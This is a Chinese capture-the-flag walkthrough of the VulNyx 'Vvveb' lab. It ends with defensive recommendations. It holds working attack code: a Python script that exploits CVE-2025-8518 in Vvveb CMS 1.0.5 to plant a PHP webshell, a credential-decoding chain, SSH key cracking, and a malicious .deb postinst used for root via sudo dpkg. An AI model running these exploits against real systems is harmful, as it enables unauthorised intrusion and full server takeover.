跳到主要内容

VulNyx Vvveb 通关记录|目录遍历凭证泄露、CVE-2025-8518 后台 RCE 与 dpkg 提权

靶机链接:Vvveb


0x01 基本信息

名称IP / 标识说明
Kali Linux192.168.1.109攻击机
Vvveb192.168.1.186 (vvveb.lan)Debian 13 靶机(Vvveb CMS 1.0.5)
复测环境说明

初版记录基于 192.168.1.115,本文已在 192.168.1.186 全链复测通过,凭证与双 flag 均一致。


攻击流程

点击展开

攻击链摘要

阶段关键证据 / 操作作用
服务发现22/tcp OpenSSH 10.0p2、80/tcp Apache 2.4.68,53/tcp RustScan 误报 closed锁定 Web CMS 为入口
Web 指纹X-Powered-By: VvvebVvveb CMS 1.0.5admin@vvveb.lab、主机名 vvveb.lan确定 CVE 范围与后台路径
目录遍历/app//system/ 开启 Index ofsecret 509Bconfig/db.php 403php.ini 200找到凭证泄露点
凭证解码base64 → xxd 文本 → hex → base64admin:scottgreen获得后台管理员登录
认证 RCECVE-2025-8518editor/code save 覆盖 landing/theme.phpeditor/editor 触发获得 www-data 执行
横向 bunnyconfig/db.phpbunny / buNNy_P@$$w0rd_99 复用于 SSH获得 bunny Shell
横向 zer0arc4/home/zer0arc4/.ssh/id_ed25519 世界可读 + /pass.dic 口令 fromyesterday密钥登录获 User Flag
提权 rootsudo -l(root) NOPASSWD: /usr/bin/dpkg,恶意 postinst 以 root 运行读取 Root Flag

0x02 侦察与信息收集 (Reconnaissance)

1. 连通性测试

ping -c2 192.168.1.186
64 bytes from 192.168.1.186: icmp_seq=1 ttl=64 time=104 ms
64 bytes from 192.168.1.186: icmp_seq=2 ttl=64 time=5.72 ms

目标存活,TTL=64 推测 Linux。

2. 端口扫描

rustscan -a 192.168.1.186 --ulimit 5000 -- -sV -sC -O -oN /tmp/nmap_full.txt
nmap -sV -sC -O -p 22,80 192.168.1.186 -oN /tmp/nmap_vvveb186.txt

Nmap 结果(192.168.1.186 复测):

PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 10.0p2 Debian 7+deb13u4 (protocol 2.0)
80/tcp open http Apache httpd 2.4.68 ((Debian))
|_http-trane-info: Problem with XML parsing of /evox/about
|_http-server-header: Apache/2.4.68 (Debian)
| http-robots.txt: 1 disallowed entry
|_/
|_http-title: Vvveb
MAC Address: 0C:DD:24:76:71:18 (Intel Corporate)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Host: vvveb.lan

开放端口汇总:

端口服务状态版本 / 特征说明
22/tcpSSHopenOpenSSH 10.0p2 Debian 7+deb13u4远程登录服务
80/tcpHTTPopenApache httpd 2.4.68 (Debian)Vvveb CMS Web 站点

分析:

  • 真实开放仅 22 SSH 与 80 HTTP,53 为 RustScan 误报,Nmap 复核 closed。
  • Host: vvveb.lan,需写入 hosts:
echo "192.168.1.186 vvveb.lan" | sudo tee -a /etc/hosts

0x03 Web 指纹与后台发现 (Web Enumeration)

1. 指纹识别与后台端点

curl -sik http://192.168.1.186/ | head -n 30
curl -sik http://192.168.1.186/admin/ | head -n 40
whatweb http://192.168.1.186/

关键指纹:

  • X-Powered-By: Vvvebmeta Vvveb CMS 1.0.5admin@vvveb.lab
  • /admin/Vvveb - Login,表单 action /admin/index.php?module=user/login
  • whatweb:Apache[2.4.68] / Bootstrap / PHPSESSID / Title[Vvveb]

2. CVE 储备与适用性分析

CVE说明1.0.5 适用性
CVE-2025-8518需认证 Code Editor Save 覆盖主题 RCE,对应 admin/controller/editor/code.php适用,主利用链
CVE-2025-440221.0.6 plugin file-manager不适用,1.0.5 无此插件
GHSA-vwcx-w4fq-9769 / CVE-2026-458001.0.8.2 /user/orders order_by/direction 注入不适用,1.0.5 参数为 order 且无回显/延时

3. 目录爆破与遍历确认

通过 gobuster 爆破确认目录遍历开启:

gobuster dir -u http://192.168.1.186 -w /usr/share/wordlists/dirb/common.txt -t 20 -q
  • /app/ 200 Index of /app
  • /system/ 200 Index of /system(含 secret 509Bcache/core/data/db/
  • /config/ 200 空目录,/config/db.php 403
  • /install/ 301 Already installed! To reinstall remove config/db.php
  • php.ini 200 泄露 session/上传配置,robots.txt: Disallow: /

0x04 旁路排查:前台注册探针(非主链)

前台可自助注册普通用户,用于排除 CVE-2026-45800

import re, requests

s = requests.Session()
r = s.get('http://192.168.1.186/user/signup')
csrf = re.findall(r'name="csrf".*?value="([^"]+)"', r.text)[0]
s.post('http://192.168.1.186/user/signup', data={
'csrf': csrf, 'first_name': 'test', 'last_name': 'test',
'email': 'test123@test.com', 'password': 'Test123456',
'confirm_password': 'Test123456', 'terms': 'on'})
# -> "User created!"(附带 Error sending account creation mail! 但已创建)

结论:普通用户可登录,但 /user/orders 在 1.0.5 无注入回显,主链不走前台。


0x05 目录遍历与凭据多层解码 (admin 凭据获取)

通过目录遍历直接读取 /system/secret 敏感文件:

curl -sk http://192.168.1.186/system/secret | wc -c
# 509
curl -sk http://192.168.1.186/system/secret

返回内容形如:

MDAwMDAwMDAgIDM1IDM5IDIwIDM1IDM3IDIwIDM1IDMyIDIwIDM3IDM0IDIwIDM2IDMxIDIwIDM1ICB8NTkgNTcgNTIgNzQgNjEgNXwK...

该密文经过了 Base64 → xxd 转储文本 → 十六进制 → Base64 的多层编码。

1. 一行流 Bash 解码(高效复现)

curl -sk http://192.168.1.186/system/secret | base64 -d | xxd -r | xxd -r -p | base64 -d
# 输出: admin:scottgreen

2. Python 完整解码脚本

import base64, re, requests

data = requests.get('http://192.168.1.186/system/secret', timeout=10).text.strip()
step1 = base64.b64decode(data).decode() # xxd 转储文本

# 提取 xxd 右侧 ASCII 字符对应的十六进制串
hex_str = ''.join(re.findall(r'\|(.*?)\|', step1)).replace(' ', '')
step2 = bytes.fromhex(hex_str).decode() # YWRtaW46c2NvdHRncmVlbg==
creds = base64.b64decode(step2).decode() # admin:scottgreen
print(f"解密成功: {creds}")

解密得到管理员账号密码为 admin / scottgreen

3. 验证后台登录

import requests

s = requests.Session()
s.post('http://192.168.1.186/admin/index.php?module=user/login',
data={'csrf': '', 'redir': '/admin/', 'user': 'admin', 'password': 'scottgreen'})
# 响应 Cookie: PHPSESSID + user=1
r = s.get('http://192.168.1.186/admin/')
# -> 标题 "Vvveb - Dasboard"(注:系统源码中 Dashboard 即拼写为 Dasboard),响应约 115KB,登录成功

0x06 CVE-2025-8518 认证 RCE 获取初始访问 (www-data)

原理:admin/controller/editor/code.php::save() 未过滤,可覆盖主题 theme.php,再经 module=editor/editor&url=/&template=index.html 触发包含执行。根 .htaccess*.phpDeny from all(仅 index.php 放行),故直接访问 /public/themes/landing/theme.php 为 403,必须走后台 editor 触发。

1. 确认活跃主题

GET /admin/index.php?module=theme/themes
# div.list-card.active img src=/public/themes/landing/screenshot.png
# => theme_path=/public/themes/landing/theme.php

2. 备份原主题

r = s.get('http://192.168.1.186/admin/index.php?module=editor/code&action=loadFile&type=themes&file=/public/themes/landing/theme.php')
open('/tmp/theme186_orig.php', 'w').write(r.text) # 9493B

前端 code-editor.js 的保存逻辑为 FormData.append("content", content),对应 requests 必须用 data 而非 files

let formData = new FormData();
formData.append("content", content);
fetch(url, {method:"POST", body:formData})

3. 写入 Webshell 并触发 RCE

payload = "<?php echo 'PWN_TEST_186_'; system($_GET['x'] ?? 'id'); ?>"
r = s.post('http://192.168.1.186/admin/index.php?module=editor/code&action=save&type=themes&file=/public/themes/landing/theme.php',
data={'content': payload})
# -> {"success":true,"message":"File saved!"}

r = s.get('http://192.168.1.186/admin/index.php?module=editor/editor&url=/&template=index.html&x=id')
# -> PWN_TEST_186_uid=33(www-data) gid=33(www-data) groups=33(www-data)

复测回显:

PWN_TEST_186_uid=33(www-data) gid=33(www-data) groups=33(www-data)
PWN_TEST_186_www-data
/var/www/vvveb/admin

通过 Webshell 读取 config/db.php 数据库配置:

r = s.get('http://192.168.1.186/admin/index.php?module=editor/editor&url=/&template=index.html&x=cat /var/www/vvveb/config/db.php')
PWN_TEST_186_<?php
return array (
'default' => 'mysqli',
'connections' =>
array (
'mysqli' =>
array (
'engine' => 'mysqli',
'host' => '127.0.0.1',
'database' => 'vvveb',
'user' => 'bunny',
'password' => 'buNNy_P@$$w0rd_99',
用完即恢复主题

RCE 验证完成后立即回写备份,避免污染靶机:

orig = open('/tmp/theme186_orig.php').read()
s.post('http://192.168.1.186/admin/index.php?module=editor/code&action=save&type=themes&file=/public/themes/landing/theme.php',
data={'content': orig})
# -> {"success":true,"message":"File saved!"}
# 复查触发点不再含 PWN_TEST,直接访问 theme.php 仍为 403

0x07 数据库凭据复用横向移动 (bunny)

1. SSH 凭据复用登录

config/db.php 获得的凭据 bunny / buNNy_P@$$w0rd_99,尝试通过 SSH 复用登录:

sshpass -p 'buNNy_P@$$w0rd_99' ssh -o StrictHostKeyChecking=no bunny@192.168.1.186 'id;ls -la'
uid=1001(bunny) gid=1001(bunny) groups=1001(bunny),100(users)
特殊字符转义

密码中包含 $ 符号,在远程交互或脚本执行时注意单引号包裹,防止被 Bash 解析为环境变量。

2. bunny 本地信息枚举

对靶机环境与系统用户目录进行探测:

  • sudo 权限:无 sudo 权限(Sorry, user bunny may not run sudo
  • 内核与提权向量:Linux 6.12.107,SUID 与 Capabilities 均为常规配置
  • 家目录异常权限/home/zer0arc4/user.txt 权限为 600 不可读,但检查 .ssh 目录发现:
sshpass -p 'buNNy_P@$$w0rd_99' ssh bunny@192.168.1.186 'ls -la /home/zer0arc4/.ssh/'

/home/zer0arc4/.ssh/ 权限为 drwx---r-x,其中的私钥文件 id_ed25519 权限配置错误(全局可读):

sshpass -p 'buNNy_P@$$w0rd_99' ssh bunny@192.168.1.186 'cat /home/zer0arc4/.ssh/id_ed25519' > /tmp/zer0_186_key
# 提取到私钥:-----BEGIN OPENSSH PRIVATE KEY----- (aes256-ctr+bcrypt 加密)
ssh2john /tmp/zer0_186_key > /tmp/zer0_hash

该私钥被口令保护且采用 aes256-ctr+bcrypt 高强度派生,john 暴力破解速度极低(sshng 约 68 p/s),因此需在靶机本地搜寻针对性字典。


0x08 根目录敏感字典与私钥口令破解 (zer0arc4)

1. 根目录敏感线索枚举

在靶机根目录下枚举文件,发现多处解题相关遗留文件:

sshpass -p 'buNNy_P@$$w0rd_99' ssh bunny@192.168.1.186 'ls -la /;cat /pass.dic;cat /hash;head -c 200 /hash.txt'

关键文件线索:

  • /pass.dic(72B 弱口令字典):
nineintheafternoon
buNNy_P@$$w0rd_99
Umeshchandra02@vulnyx
fromyesterday
  • /hash(73B yescrypt 哈希):$y$j9T$PVJRgu8R3TRPHl6UZjXQ.1$Rm4oAO4kUaKBKvssQavsF3fK8kP7qJboGMXoMRVhIu7
  • /hash.txt(648B):id_ed25519:$sshng$...,与提取出的私钥哈希一致
  • /id_ed25519:464B,属主 root 权限 600
  • /crack.py/script.py:测试遗留脚本

2. 口令验证与横向获取 User Flag

针对 /pass.dic 中的候选口令依次验证私钥解密:

for pw in nineintheafternoon 'buNNy_P@$$w0rd_99' 'Umeshchandra02@vulnyx' fromyesterday; do
ssh-keygen -y -P "$pw" -f /tmp/zer0_186_key >/dev/null 2>&1 && echo "$pw OK"
done
# -> fromyesterday OK
# 公钥内容与 target authorized_keys 中的 zer0arc4@vvveb 完全一致

私钥口令确认为 fromyesterday。赋予私钥正确权限后登录系统并读取 User Flag:

chmod 600 /tmp/zer0_186_key
SSHPASS='fromyesterday' sshpass -P 'passphrase' -p 'fromyesterday' ssh -i /tmp/zer0_186_key zer0arc4@192.168.1.186 'id;cat ~/user.txt'
uid=1000(zer0arc4) gid=1000(zer0arc4) groups=1000(zer0arc4),...
a83ae457efcb06524b5a64aa3b788354

0x09 sudo dpkg 恶意 deb 安装包提权 (Privilege Escalation)

1. sudo 权限检查

SSHPASS='fromyesterday' sshpass -P 'passphrase' -p 'fromyesterday' ssh -i /tmp/zer0_186_key zer0arc4@192.168.1.186 'sudo -l'
User zer0arc4 may run the following commands on vvveb:
(root) NOPASSWD: /usr/bin/dpkg

2. 构造恶意 deb 触发 postinst 提权

利用恶意 deb 软件包的 postinst 脚本以 root 权限执行。复测采用最小化探针(将证明结果回写至 /tmp,不改变 /bin/bash 权限,验证完毕后立即卸载清理):

mkdir -p /tmp/evil186/DEBIAN
cat > /tmp/evil186/DEBIAN/control <<'EOF'
Package: evil186
Version: 1.0
Architecture: amd64
Maintainer: test
Description: evil retest proof
EOF
cat > /tmp/evil186/DEBIAN/postinst <<'EOF'
#!/bin/sh
id > /tmp/pwnproof186.txt
cat /root/root.txt > /tmp/rootflag186.txt
chmod 644 /tmp/pwnproof186.txt /tmp/rootflag186.txt
EOF
chmod 755 /tmp/evil186/DEBIAN/postinst
dpkg-deb --build /tmp/evil186 /tmp/evil186.deb
SSHPASS='fromyesterday' sshpass -P 'passphrase' -p 'fromyesterday' scp -i /tmp/zer0_186_key /tmp/evil186.deb zer0arc4@192.168.1.186:/tmp/evil186.deb
SSHPASS='fromyesterday' sshpass -P 'passphrase' -p 'fromyesterday' ssh -i /tmp/zer0_186_key zer0arc4@192.168.1.186 'sudo dpkg -i /tmp/evil186.deb'
Setting up evil186 (1.0) ...
uid=0(root) gid=0(root) groups=0(root)
9fb613333cf2bde51b1989a0d03a095c
持久化与最小残留

原记录的持久化写法(chmod 4755 /bin/bash + bash -p 获得 euid=0)同样有效。本次复测为了减少系统残留未写入 SUID,直接在 postinst 中完成验证。

3. 环境清理与痕迹消除

# 卸载探针包并删除 root 属主残留(需再装一个 clean 包以 root 身份 rm)
sudo dpkg -r evil186
sudo dpkg -i /tmp/clean186.deb # postinst: rm -f /tmp/pwnproof186.txt /tmp/rootflag186.txt ...
sudo dpkg -r clean186

复测后 /tmp 目录已清空,/bin/bash 保持 -rwxr-xr-x 默认权限。


0x0A 最终成果 (Final Flags)

User Flag

  • 路径: /home/zer0arc4/user.txt
  • 权限: 600
  • 内容: a83ae457efcb06524b5a64aa3b788354

Root Flag

  • 路径: /root/root.txt
  • 权限: 600
  • 内容: 9fb613333cf2bde51b1989a0d03a095c

0x0B 漏洞汇总

#漏洞严重程度位置利用方式
1目录遍历与敏感文件泄露High/app//system/ 开启索引,/system/secret 可读多层解码得管理员凭证
2管理员凭证硬编码泄露High/system/secretbase64/xxd/hex/base64 还原 admin:scottgreen
3认证后任意文件覆盖 RCECriticalCVE-2025-8518admin/controller/editor/code.php::save()覆盖 landing/theme.php 并经 editor/editor 触发
4数据库密码复用系统账号High/var/www/vvveb/config/db.phpbunny / buNNy_P@$$w0rd_99 直接 SSH 登录
5SSH 私钥权限配置错误High/home/zer0arc4/.ssh/id_ed25519 世界可读配合 /pass.dic 破解口令 fromyesterday
6sudo 过度授权Critical(root) NOPASSWD: /usr/bin/dpkg恶意 deb postinst 以 root 执行

复盘总结与防御建议

  1. 关闭生产目录索引并收敛敏感端点: Options -Indexes 全局生效,对 /system/secretphp.ini/app/sql 等内部路径做鉴权或直接下线,避免目录遍历成为凭证泄露入口。
  2. 密钥与凭证不得落盘明文: secret 多层编码不是加密,数据库密码、管理员密码应走环境变量或 Vault/KMS,禁止复用 DB 密码作为系统登录密码。
  3. 编辑器写文件必须白名单校验: editor/code save 应对 type/file 做主题目录约束与扩展名限制,禁止覆盖可执行 theme.php,写入后做完整性校验与审计。
  4. 利用 .htaccess 只是纵深一层: 本机 Deny from all *.php 挡住了直接访问,但挡不住包含触发,修复必须在代码层禁止用户可控路径的文件覆盖。
  5. 修正 SSH 私钥与家目录权限: id_ed25519 必须 600 且属主独占,~/.ssh 不应全局可读;/pass.dic 类字典不得放在根目录全局可读。
  6. 践行最小特权: 移除 NOPASSWD: /usr/bin/dpkg,如确需软件安装应封装受限脚本并限定包来源,避免 postinst 任意 root 命令执行。